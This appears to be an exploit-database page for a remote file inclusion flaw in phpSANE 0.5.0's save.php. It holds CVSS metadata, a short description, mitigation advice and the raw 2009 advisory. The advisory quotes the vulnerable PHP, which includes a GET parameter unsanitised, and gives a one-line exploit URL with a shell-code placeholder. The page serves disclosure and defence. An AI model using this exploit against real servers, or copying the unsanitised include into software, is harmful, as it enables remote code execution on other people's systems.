header-logo
Suggest Exploit
vendor:
phpSANE
by:
CoBRa_21
9,3
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: phpSANE
Affected Version From: 0.5.0
Affected Version To: 0.5.0
Patch Exists: YES
Related CWE: N/A
CPE: a:phpsane:phpsane:0.5.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

phpSANE v 0.5.0 (save.php) Remote File Inclusion Vulnerability

phpSANE v 0.5.0 is vulnerable to a remote file inclusion vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This can allow the attacker to execute arbitrary code on the server.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a file inclusion operation.
Source

Exploit-DB raw data:

-----------------------------------------------------------------------------------
phpSANE v 0.5.0 (save.php) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------
Author: CoBRa_21
Mail: uyku_cu@windowslive.com
Script Download:http://sourceforge.net/projects/phpsane/
Dork: Yok :P
-----------------------------------------------------------------------------------
BUG
<?PHP
include("language.php");

$file_save = $_GET['file_save'];
$file_save_image = $_GET['file_save_image'];
$lang_id = $_GET['lang_id'];

if ($file_save_image)
{
  echo "<p class=\"align_center\">\n";
  echo "<img src=\"".$file_save."\" border=\"2\">\n";
  echo "</p>\n";
}
else
{
  // my_pre my_mono
  echo "<p class=\"my_pre\">\n";
  include($file_save);
  echo "</p>\n";
  echo "<hr>\n";
}
-----------------------------------------------------------------------------------
Exploit
http://localhost/path/save.php?file_save= (Shell Code)
-----------------------------------------------------------------------------------
Tüm İslam Aleminin Ramazan-ı Şerifleri Hayırlı ve Mubarek Olsun.
-----------------------------------------------------------------------------------

# milw0rm.com [2009-08-26]